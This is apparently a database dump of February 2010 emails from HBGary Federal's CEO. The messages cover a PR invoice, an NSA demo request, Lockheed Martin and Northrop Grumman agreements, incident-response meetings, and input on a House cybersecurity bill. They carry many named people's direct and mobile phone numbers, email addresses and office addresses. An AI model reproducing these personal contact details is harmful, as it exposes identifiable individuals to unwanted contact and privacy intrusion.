\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',9909,'aaron_hbgary_com/9909.html'),(2035,'2010-02-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000830.M896497P3547Q2036.eml','\"Karen Burke\" <karenmaryburke@yahoo.com>,\"Karen Burke\" <karenmaryburke@yahoo.com>','Re: January invoice/Feb. work','We do. &nbsp;Until we get a few contract coming in we are going to be very conservative to stretch things out. &nbsp;We would like to use your services for about 6 hours this month, once we have some contracts coming in we will want to increase this.Thanks,AaronOn Feb 4, 2010, at 3:02 PM, Karen Burke wrote:Great thanks so much Ted. Let me know if you and Aaron would like me to work for you on a regular basis i.e. specific hours a month or just project only i.e. announcements, etc. I haven\'t been very proactive since I\'m not sure&nbsp;how you would like to use me. Best, Karen&nbsp;--- On Thu, 2/4/10, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nFrom: Ted Vera &lt;ted@hbgary.com&gt;Subject: Re: January invoice/Feb. workTo: \"Aaron Barr\" &lt;aaron@hbgary.com&gt;, \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Thursday, February 4, 2010, 11:58 AM\r\nHi Karen,&nbsp;\r\n\r\nPlease send future HBGary Federal invoices to me. &nbsp;I just submitted your payment, you should receive it 2/11/10.\r\n\r\nThanks for your help!\r\nTed\r\n\r\n\r\n&nbsp;PENDING PAYMENTS\r\n\r\n\r\n\r\nPayee\r\nReference #\r\nSend On\r\nExpected Delivery\r\nAmount\r\n\r\nKaren Burke\r\nJB4BAJKJ&nbsp;\r\n02/04/2010\r\n02/11/2010\r\n$900.00\r\n\r\n&nbsp;\r\nTotal (1):&nbsp;$900.00\r\n\r\nOn Wed, Feb 3, 2010 at 1:06 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nFrom my iPhone\r\nBegin forwarded message:\r\n\r\nFrom: Karen Burke &lt;karenmaryburke@yahoo.com&gt;Date: February 3, 2010 2:52:03 PM ESTTo: aaron@hbgary.comSubject: January invoice/Feb. work\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron, I just submitted my HBGary invoice for January, and it includes $900 for nine hours of work for HBGary Federal. I wanted to see if you and Ted had decided&nbsp;on the budget for PR for February and beyond. If so, I\'d like to&nbsp;be sure to&nbsp;use the hours&nbsp;the best way to&nbsp;support your business goals.&nbsp;&nbsp;\r\n&nbsp;\r\nThanks Aaron. Karen&nbsp;-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n\r\n\r\n\r\n      \r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',6856,'aaron_hbgary_com/6856.html'),(2036,'2010-02-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000830.M96132P3547Q2032.eml','ksprague@nsa.gov,ksprague@nsa.gov,','Digital DNA Discussions','Katelyn,\r\n\r\nRich asked me to help out and schedule a demo and discussion around Digital DNA, starting with an Unclassified discussion.  Please feel free to give me a call at 719.510.8478.\r\n\r\nThank You,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',13611,'aaron_hbgary_com/13611.html'),(2037,'2010-02-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000831.M124289P3547Q2037.eml','\"Junod, Michael F\" <michael.f.junod@lmco.com>,\"Junod, Michael F\" <michael.f.junod@lmco.com>,','Re: Proprietary Information Agreement (PIA) w/ HB Gary Federal re Cyber Genome Proposal  - Lockheed Martin Proprietary Information','How about tomorrow afternoon, say about 2pm EST?AaronOn Feb 4, 2010, at 12:08 PM, Junod, Michael F wrote:Aaron,&nbsp;When would you be available for discussions?&nbsp;Mike JunodManager, Advanced Concepts Laboratory&nbsp;&nbsp; Lockheed Martin&nbsp; Advanced Technology Laboratories (ATL)&nbsp; 3 Executive Campus, Suite 600&nbsp; Cherry Hill, NJ 08002&nbsp;&nbsp; Email:&nbsp;mjunod@atl.lmco.com&nbsp; Voice: (856) 792-9768&nbsp; Mobile: (215) 519-4253&nbsp;From:&nbsp;Korinok, Andrea (N-ATL)&nbsp;Sent:&nbsp;Tuesday, February 02, 2010 1:58 PMTo:&nbsp;\'Aaron Barr\'Cc:&nbsp;Miksch, Daniel J; Junod, Michael FSubject:&nbsp;RE: Proprietary Information Agreement (PIA) w/ HB Gary Federal re Cyber Genome Proposal - Lockheed Martin Proprietary Information&nbsp;Mr. Barr,&nbsp;Attached is our fully executed agreement. Please note that I inserted today’s date below your title line, as this was missing in the partially executed .pdf version that you sent to me.&nbsp;If you have any questions or concerns, please feel free to contact me.&nbsp;Regards,Andrea KorinokBusiness Operations &amp;&nbsp;Legal Support SpecialistLockheed Martin / Advanced Technology Laboratories3 Executive Campus, Suite 600Cherry Hill,&nbsp;NJ&nbsp;08002Phone: (856) 792-9707Fax: (856) 792-9910Email:&nbsp;andrea.korinok@lmco.com&nbsp;&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Tuesday, February 02, 2010 11:45 AMTo:&nbsp;Korinok, Andrea (N-ATL)Subject:&nbsp;Re: Proprietary Information Agreement (PIA) w/ HB Gary Federal re Cyber Genome Proposal - Lockheed Martin Proprietary Information&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',7976,'aaron_hbgary_com/7976.html'),(2038,'2010-02-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000831.M323271P3547Q2038.eml','shane.sims@us.pwc.com','IR Discussion','Hi Shane,\r\n\r\nNot sure why I didn\'t get the voicemail.  Can you give me a call at 719.510.8478?\r\n\r\nThanks,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',4342,'aaron_hbgary_com/4342.html'),(2039,'2010-02-04','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297000831.M632035P3547Q2039.eml','\"Aaron Barr\" <aaron@hbgary.com>','More stuff','\r\n\r\n\r\n\r\n\r\nMore stuff\r\n\r\n\r\n\r\n\r\n12.&nbsp; I just got status from my contracts guy on the mods to the NDA to address Penny and Greg&#8217;s concern.&nbsp; ES thinks it better to go with a Software Evaluation Agreement to cover the initial effort.&nbsp; If we have to discuss royalties or licensing at this time, then we have to go to corporate for approval.&nbsp; Would rather not do that now.&nbsp;&nbsp; I want to concentrate on getting a demo before our customers, judge their interest and get something in place with them then talk financials (or probably after we get customer interest but prior to having something in place).&nbsp; Does HBGary have such a document?&nbsp; We do that we use for such occasions but using your&#8217;s may be quicker.\r\n\r\nBrian\r\n\r\nBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n\r\n',3782,'aaron_hbgary_com/3782.html'),(2040,'2010-02-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000831.M827378P3547Q2040.eml','\"MB Toth\" <mbt.rbtoth@starpower.net>,\"MB Toth\" <mbt.rbtoth@starpower.net>','Re: Google, Vint and Visitors','Look at that!  Very cool.\r\n\r\nLots of good news, things moving on our front.  No contracts yet but an immense amount of activity and interest in our capabilities, so just a matter of a little bit of time.\r\n\r\nNot sure if you saw that Google has partnered with NSA to help google investigate the Aurora stuff.  Isn\'t that the evil empire teaming with the \"Do No Evil\" company.  Strange.\r\n\r\nMaybe we can have lunch again sometime soon and I can fill you in.  Hopefully in the next few months we will have enough secured we can bring you on for some consulting hours.\r\n\r\nI had lunch at Panjshir today.\r\n\r\nAaron\r\n\r\nOn Feb 4, 2010, at 9:27 AM, MB Toth wrote:\r\n\r\n> With Google in the news these days, here\'s Vint Cerf chatting with some recent visitors.\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',15786,'aaron_hbgary_com/15786.html'),(2041,'2010-02-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000832.M324392P3547Q2041.eml','\"Ted Vera\" <ted@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>','Fwd: Input','Looks like Jake did the work for me. &nbsp;This is all that made it into the bill. &nbsp;Hopefully we will have more opportunities.Begin forwarded message:From: \"Olcott, Jacob\" &lt;Jacob.Olcott@mail.house.gov&gt;Date: February 4, 2010 4:04:25 PM ESTTo: \"Aaron Barr\" &lt;aaron@hbgary.com&gt;Subject: RE: InputAaron – thanks for your help on this.&nbsp; I tried on a lot of these, and we got nowhere (long story, but jurisdictional issues between Science and Homeland make us rivals and they are less inclined to accept our amendments). We were able to get the Langevin amendment through though – thought you might be interested in the details.&nbsp;2:34 P.M. -On agreeing to the Langevin amendment Agreed to by voice vote.2:29 P.M. -DEBATE - Pursuant to the provisions of H.Res. 1051, the Committee of the Whole proceeded with 10 minutes of debate on the Langevin amendment.Amendment offered by Mr. Langevin.An amendment numbered 12 printed in House Report 111-410 to direct the Cybersecurity Workforce Assessment to examine expanding temporary assignments of private sector cybersecurity professionals to Federal agencies.&nbsp;&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Friday, January 29, 2010 6:03 AMTo:&nbsp;Olcott, JacobSubject:&nbsp;Input&nbsp;Jake,&nbsp;I wish I had more time. &nbsp;But here is some input. &nbsp;Hope it helps. &nbsp;Let me know if there is anything else I can do.&nbsp;Aaron&nbsp;&nbsp;SEC 103. CYBERSECURITY STRATEGIC RESEARCH AND DEVELOPMENT PLANDescribe how the program will incentivize the collaboration of academia, small and large businesses to work together to develop more significant capabilities. &nbsp;(my point here is there is lots of talent, capability, overlap, but often they don\'t collaborate for reasons of market share, territory, etc). &nbsp;Grants for innovative integration. &nbsp;Small companies are laser focused on immediate revenue and growth. &nbsp;Difficult to get them to think about collaboration. &nbsp;&nbsp;Describe how the program will provide access to government mission sets and information for the purposes of real world research, development, and testing. &nbsp;(In many cases, you might have good ideas, good technology but you need a real world environment/data to test against which is difficult to get unless you secure a contract).&nbsp;Describe how the programs national research infrastructure will provide expertise to mission owners on the effectiveness of new technologies. &nbsp;(It would be effective to have a technology shop that could provide the real world testing on new technologies and provide expert opinion to the government on technology effectiveness)&nbsp;Describe how the program will facilitate development and implementation of newly developed technologies. &nbsp;Once you have a new technology then you have to go sell it, which can be a matter of contacts, etc, things that don\'t have anything to do with the quality of the technology.&nbsp;Describe how the program will develop a national challenge based on priorities to effectively evaluate and reward best in class capabilities in those areas referenced. &nbsp;How can we innovatively foster the creation of new ideas. &nbsp;Provide a national challenge in different areas at a government sponsored cybersecurity event. &nbsp;This would allow virtual nobodies that have developed amazing capability to get instant recognition and exposure.&nbsp;SEC. 104. SOCIAL AND BEHAVIORAL RESEARCH IN CYBER-SECURITYDevelop a program to incentivize people to think and act more securely in how the use systems, and develop systems.&nbsp;Develop incentives to more effectively share cybersecurity related information amongst government, academia, and industry.&nbsp;Programs to inform public of compromised systems, attack types, methods. &nbsp;More publicly digestible information on the threats and methods of attack.&nbsp;SEC. 105. NATIONAL SCIENCE FOUNDATION CYBERSECURITY RESEARCH AND DEVELOPMENT PROGRAMS&nbsp;SEC. 106. FEDERAL CYBER SCHOLARSHIP FOR SERVICE PROGRAM&nbsp;SEC. 107. CYBERSECURITY WORKFORCE ASSESSMENTIncentivize industry and government to bring on college students part time in larger numbers, mechanisms to get them in the clearance process, get them experience, introduced to what is actually happening in the national cybersecurity efforts.&nbsp;Develop a set of cybersecurity programs; to teach general users, acquisitions forces to help them write cyber requirements, and more technical for personnel who work on the systems so they better understand both why and how to secure systems.&nbsp;Develop technical coaching and mentorship programs to grow the current base into technical experts.&nbsp;SEC. 108. CYBERSECURITY UNIVERSITY-INDUSTRY TASK FORCEDevelop a program to tie university research to industry sponsorships. &nbsp;I sat through the review of a bunch of academic papers and it was obvious the are technically sharp but operationally ignorant..get them involved more effectively in working on industry R&amp;D.&nbsp;SEC. 109. CYBERSECURITY CHECKLIST DEVELOPMENT AND DISSEMINATION&nbsp;SEC. 110. NATIONAL INSTITUTE OF STANDARDS AND TECHNOLOGY CYBERSECURITY RESEARCH AND DEVELOPMENTDevelop cybersecurity taxonomy and metrics standards.&nbsp;Develop standards for research, engage international communities, establish more cross functional committees and act as government POC to track all cyber related research (allowing agencies to quickly see what is being done and facilitate collaboration).&nbsp;Continually assess gaps in cyber defense research, development and implementation. &nbsp;Annual assessments of cyber intrusions and investigations/remediation. &nbsp;Publicly available documentation.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',173,'aaron_hbgary_com/173.html'),(2042,'2010-02-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000832.M594293P3547Q2042.eml','\"Olcott, Jacob\" <Jacob.Olcott@mail.house.gov>','Re: Input','Thanks for the feedback.Let me know when you have some time to talk about the Threat Intelligence stuff. &nbsp;I can bring a report that some of the members of our consortium are putting together related to Aurora as well.With Aurora, this Bill, the congressional website events...I am thinking your days are pretty busy right now. &nbsp;Did you see that Google and NSA are partnering up to help analyze Aurora. &nbsp;Didn\'t see that coming. &nbsp;Something about the considered evil empire partnering with the \"Do no Evil\" company...AaronOn Feb 4, 2010, at 4:04 PM, Olcott, Jacob wrote:Aaron – thanks for your help on this.&nbsp; I tried on a lot of these, and we got nowhere (long story, but jurisdictional issues between Science and Homeland make us rivals and they are less inclined to accept our amendments). We were able to get the Langevin amendment through though – thought you might be interested in the details.&nbsp;2:34 P.M. -On agreeing to the Langevin amendment Agreed to by voice vote.2:29 P.M. -DEBATE - Pursuant to the provisions of H.Res. 1051, the Committee of the Whole proceeded with 10 minutes of debate on the Langevin amendment.Amendment offered by Mr. Langevin.An amendment numbered 12 printed in House Report 111-410 to direct the Cybersecurity Workforce Assessment to examine expanding temporary assignments of private sector cybersecurity professionals to Federal agencies.&nbsp;&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Friday, January 29, 2010 6:03 AMTo:&nbsp;Olcott, JacobSubject:&nbsp;Input&nbsp;Jake,&nbsp;I wish I had more time. &nbsp;But here is some input. &nbsp;Hope it helps. &nbsp;Let me know if there is anything else I can do.&nbsp;Aaron&nbsp;&nbsp;SEC 103. CYBERSECURITY STRATEGIC RESEARCH AND DEVELOPMENT PLANDescribe how the program will incentivize the collaboration of academia, small and large businesses to work together to develop more significant capabilities. &nbsp;(my point here is there is lots of talent, capability, overlap, but often they don\'t collaborate for reasons of market share, territory, etc). &nbsp;Grants for innovative integration. &nbsp;Small companies are laser focused on immediate revenue and growth. &nbsp;Difficult to get them to think about collaboration. &nbsp;&nbsp;Describe how the program will provide access to government mission sets and information for the purposes of real world research, development, and testing. &nbsp;(In many cases, you might have good ideas, good technology but you need a real world environment/data to test against which is difficult to get unless you secure a contract).&nbsp;Describe how the programs national research infrastructure will provide expertise to mission owners on the effectiveness of new technologies. &nbsp;(It would be effective to have a technology shop that could provide the real world testing on new technologies and provide expert opinion to the government on technology effectiveness)&nbsp;Describe how the program will facilitate development and implementation of newly developed technologies. &nbsp;Once you have a new technology then you have to go sell it, which can be a matter of contacts, etc, things that don\'t have anything to do with the quality of the technology.&nbsp;Describe how the program will develop a national challenge based on priorities to effectively evaluate and reward best in class capabilities in those areas referenced. &nbsp;How can we innovatively foster the creation of new ideas. &nbsp;Provide a national challenge in different areas at a government sponsored cybersecurity event. &nbsp;This would allow virtual nobodies that have developed amazing capability to get instant recognition and exposure.&nbsp;SEC. 104. SOCIAL AND BEHAVIORAL RESEARCH IN CYBER-SECURITYDevelop a program to incentivize people to think and act more securely in how the use systems, and develop systems.&nbsp;Develop incentives to more effectively share cybersecurity related information amongst government, academia, and industry.&nbsp;Programs to inform public of compromised systems, attack types, methods. &nbsp;More publicly digestible information on the threats and methods of attack.&nbsp;SEC. 105. NATIONAL SCIENCE FOUNDATION CYBERSECURITY RESEARCH AND DEVELOPMENT PROGRAMS&nbsp;SEC. 106. FEDERAL CYBER SCHOLARSHIP FOR SERVICE PROGRAM&nbsp;SEC. 107. CYBERSECURITY WORKFORCE ASSESSMENTIncentivize industry and government to bring on college students part time in larger numbers, mechanisms to get them in the clearance process, get them experience, introduced to what is actually happening in the national cybersecurity efforts.&nbsp;Develop a set of cybersecurity programs; to teach general users, acquisitions forces to help them write cyber requirements, and more technical for personnel who work on the systems so they better understand both why and how to secure systems.&nbsp;Develop technical coaching and mentorship programs to grow the current base into technical experts.&nbsp;SEC. 108. CYBERSECURITY UNIVERSITY-INDUSTRY TASK FORCEDevelop a program to tie university research to industry sponsorships. &nbsp;I sat through the review of a bunch of academic papers and it was obvious the are technically sharp but operationally ignorant..get them involved more effectively in working on industry R&amp;D.&nbsp;SEC. 109. CYBERSECURITY CHECKLIST DEVELOPMENT AND DISSEMINATION&nbsp;SEC. 110. NATIONAL INSTITUTE OF STANDARDS AND TECHNOLOGY CYBERSECURITY RESEARCH AND DEVELOPMENTDevelop cybersecurity taxonomy and metrics standards.&nbsp;Develop standards for research, engage international communities, establish more cross functional committees and act as government POC to track all cyber related research (allowing agencies to quickly see what is being done and facilitate collaboration).&nbsp;Continually assess gaps in cyber defense research, development and implementation. &nbsp;Annual assessments of cyber intrusions and investigations/remediation. &nbsp;Publicly available documentation.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',1803,'aaron_hbgary_com/1803.html'),(2043,'2010-02-04','\"Junod, Michael F\" <michael.f.junod@lmco.com>','/aaron@hbgary.com/new/1297000832.M824889P3547Q2043.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,,,,','RE: Proprietary Information Agreement (PIA) w/ HB Gary Federal re Cyber Genome Proposal  - Lockheed Martin Proprietary Information','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nThat time will work for us, do you want to call me at 856-792-9768\r\nat 2:00?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMike\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, February 04, 2010 4:42 PM\r\nTo: Junod, Michael F\r\nCc: Ted Vera; Bob Slapnik\r\nSubject: Re: Proprietary Information Agreement (PIA) w/ HB Gary Federal\r\nre Cyber Genome Proposal - Lockheed Martin Proprietary Information\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHow about tomorrow afternoon, say about 2pm EST?\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Feb 4, 2010, at 12:08 PM, Junod, Michael F wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWhen would you be available for discussions?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMike Junod\r\n\r\n\r\n\r\n\r\n\r\nManager, Advanced Concepts Laboratory\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp; Lockheed Martin\r\n\r\n\r\n\r\n\r\n\r\n&nbsp; Advanced Technology Laboratories (ATL)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp; 3 Executive Campus, Suite 600\r\n\r\n\r\n\r\n\r\n\r\n&nbsp; Cherry Hill, NJ 08002\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp; Email:&nbsp;mjunod@atl.lmco.com\r\n\r\n\r\n\r\n\r\n\r\n&nbsp; Voice: (856) 792-9768\r\n\r\n\r\n\r\n\r\n\r\n&nbsp; Mobile: (215) 519-4253\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Korinok, Andrea\r\n(N-ATL)&nbsp;\r\nSent:&nbsp;Tuesday, February\r\n02, 2010 1:58 PM\r\nTo:&nbsp;\'Aaron Barr\'\r\nCc:&nbsp;Miksch, Daniel J;\r\nJunod, Michael F\r\nSubject:&nbsp;RE: Proprietary\r\nInformation Agreement (PIA) w/ HB Gary Federal re Cyber Genome Proposal -\r\nLockheed Martin Proprietary Information\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMr.\r\nBarr,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAttached\r\nis our fully executed agreement. Please note that I inserted today&#8217;s date\r\nbelow your title line, as this was missing in the partially executed .pdf\r\nversion that you sent to me.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nIf\r\nyou have any questions or concerns, please feel free to contact me.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nRegards,\r\n\r\n\r\n\r\n\r\n\r\nAndrea\r\nKorinok\r\n\r\n\r\n\r\n\r\n\r\nBusiness\r\nOperations &amp;&nbsp;Legal Support Specialist\r\n\r\n\r\n\r\n\r\n\r\nLockheed\r\nMartin / Advanced Technology Laboratories\r\n\r\n\r\n\r\n\r\n\r\n3\r\nExecutive Campus, Suite 600\r\n\r\n\r\n\r\n\r\n\r\nCherry\r\nHill,&nbsp;NJ&nbsp;08002\r\n\r\n\r\n\r\n\r\n\r\nPhone:\r\n(856) 792-9707\r\n\r\n\r\n\r\n\r\n\r\nFax:\r\n(856) 792-9910\r\n\r\n\r\n\r\n\r\n\r\nEmail:&nbsp;andrea.korinok@lmco.com\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Tuesday, February\r\n02, 2010 11:45 AM\r\nTo:&nbsp;Korinok, Andrea\r\n(N-ATL)\r\nSubject:&nbsp;Re: Proprietary\r\nInformation Agreement (PIA) w/ HB Gary Federal re Cyber Genome Proposal -\r\nLockheed Martin Proprietary Information\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',347,'aaron_hbgary_com/347.html'),(2044,'2010-02-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000833.M315063P3547Q2045.eml','\"Junod, Michael F\" <michael.f.junod@lmco.com>,\"Junod, Michael F\" <michael.f.junod@lmco.com>,,,','Re: Proprietary Information Agreement (PIA) w/ HB Gary Federal re Cyber Genome Proposal  - Lockheed Martin Proprietary Information','I would like to bring a few other folks onto the call. &nbsp;I can set up a teleconference if that would be easiest.AaronOn Feb 4, 2010, at 5:10 PM, Junod, Michael F wrote:Aaron,&nbsp;That time will work for us, do you want to call me at 856-792-9768 at 2:00?&nbsp;Mike&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Thursday, February 04, 2010 4:42 PMTo:&nbsp;Junod, Michael FCc:&nbsp;Ted Vera; Bob SlapnikSubject:&nbsp;Re: Proprietary Information Agreement (PIA) w/ HB Gary Federal re Cyber Genome Proposal - Lockheed Martin Proprietary Information&nbsp;How about tomorrow afternoon, say about 2pm EST?Aaron&nbsp;On Feb 4, 2010, at 12:08 PM, Junod, Michael F wrote:Aaron,&nbsp;When would you be available for discussions?&nbsp;Mike JunodManager, Advanced Concepts Laboratory&nbsp;&nbsp; Lockheed Martin&nbsp; Advanced Technology Laboratories (ATL)&nbsp; 3 Executive Campus, Suite 600&nbsp; Cherry Hill, NJ 08002&nbsp;&nbsp; Email:&nbsp;mjunod@atl.lmco.com&nbsp; Voice: (856) 792-9768&nbsp; Mobile: (215) 519-4253&nbsp;From:&nbsp;Korinok, Andrea (N-ATL)&nbsp;Sent:&nbsp;Tuesday, February 02, 2010 1:58 PMTo:&nbsp;\'Aaron Barr\'Cc:&nbsp;Miksch, Daniel J; Junod, Michael FSubject:&nbsp;RE: Proprietary Information Agreement (PIA) w/ HB Gary Federal re Cyber Genome Proposal - Lockheed Martin Proprietary Information&nbsp;Mr. Barr,&nbsp;Attached is our fully executed agreement. Please note that I inserted today’s date below your title line, as this was missing in the partially executed .pdf version that you sent to me.&nbsp;If you have any questions or concerns, please feel free to contact me.&nbsp;Regards,Andrea KorinokBusiness Operations &amp;&nbsp;Legal Support SpecialistLockheed Martin / Advanced Technology Laboratories3 Executive Campus, Suite 600Cherry Hill,&nbsp;NJ&nbsp;08002Phone: (856) 792-9707Fax: (856) 792-9910Email:&nbsp;andrea.korinok@lmco.com&nbsp;&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Tuesday, February 02, 2010 11:45 AMTo:&nbsp;Korinok, Andrea (N-ATL)Subject:&nbsp;Re: Proprietary Information Agreement (PIA) w/ HB Gary Federal re Cyber Genome Proposal - Lockheed Martin Proprietary Information&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',6437,'aaron_hbgary_com/6437.html'),(2045,'2010-02-04','nolan@informationsecuritysolutionsllc.com','/aaron@hbgary.com/new/1297000833.M537868P3547Q2046.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Services contract for commercial IR services','I can\'t tomorrow. How does next week look for you?Sent via BlackBerry by AT&TFrom:  Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Thu, 4 Feb 2010 17:11:54 -0500To: &lt;nolan@informationsecuritysolutionsllc.com&gt;Subject: Re: Services contract for commercial IR servicesSounds good for tomorrow. &nbsp;You still open?AaronOn Feb 2, 2010, at 2:25 PM, nolan@informationsecuritysolutionsllc.com wrote:Same here, perhaps coffee either morning in the Reston area?Sent via BlackBerry by AT&amp;TFrom:  Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Tue, 2 Feb 2010 11:13:44 -0700To: &lt;nolan@informationsecuritysolutionsllc.com&gt;Subject: Re: Services contract for commercial IR servicesWhats your schedule like next week. &nbsp;My best availability is on Thursday and Friday.AaronOn Jan 25, 2010, at 10:04 AM, nolan@informationsecuritysolutionsllc.com wrote:Darn, those days are packed for me. What about the week of the 8th?Sent via BlackBerry by AT&amp;TFrom:  Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Mon, 25 Jan 2010 11:44:58 -0500To: &lt;nolan@informationsecuritysolutionsllc.com&gt;Subject: Re: Services contract for commercial IR servicesHi Nolan,Tuesday and Friday are my packed days this week. &nbsp;Any free time on Wed/Thurs?AaronOn Jan 21, 2010, at 6:01 PM, nolan@informationsecuritysolutionsllc.com wrote:Aaron,How does 11 on Tuesday look for you? Where are you at most of the time? Would coffee at Cosi in the Reston Town Center be easy?Thanks,NolanSent via BlackBerry by AT&amp;TFrom:  Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Thu, 21 Jan 2010 08:48:18 -0500To: &lt;nolan@informationsecuritysolutionsllc.com&gt;Subject: Re: Services contract for commercial IR servicesNolan,Ted is out in the Springs, but how about we meet next week. &nbsp;Any days better than others?AaronOn Jan 20, 2010, at 9:44 PM, Nolan Clifford wrote:\r\n\r\nThanks Maria.\r\n&nbsp;\r\nAaron and Ted - I could link up in person next week if you \r\nguys are interested.\r\n&nbsp;\r\nBest,\r\nNolan\r\n&nbsp;\r\nNolan Clifford, CISSP\r\nCEO, Information Security Solutions \r\nLLC\r\nhttp://www.informationsecuritysolutionsllc.com\r\nnolan@informationsecuritysolutionsllc.com\r\nOffice - 703-945-7480\r\nCell - 703-869-7396\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\nFrom: Maria Lucas [mailto:maria@hbgary.com] \r\nSent: Tuesday, January 19, 2010 4:51 PMTo: Aaron Barr; \r\nTed@hbgary.comCc: \r\nnolan@informationsecuritysolutionsllc.comSubject: Re: Services \r\ncontract for commercial IR services\r\n\r\nAaron / Ted\r\n&nbsp;\r\nI spoke today with Nolan Clifford.&nbsp; He may&nbsp;be helpful&nbsp;with \r\nthe contract terms for IR Services.&nbsp; Nolan has an NDA with HBGary.\r\n&nbsp;\r\nNolan is available later this week or next to meet or speak with on the \r\nphone:\r\n&nbsp;\r\nYou may reach Nolan at (703) 945-7480.&nbsp; Nolan is expecting your \r\ncall.\r\n&nbsp;\r\nMaria\r\n&nbsp;\r\nNolan Clifford Bio\r\nCEO of Information Security Solutions 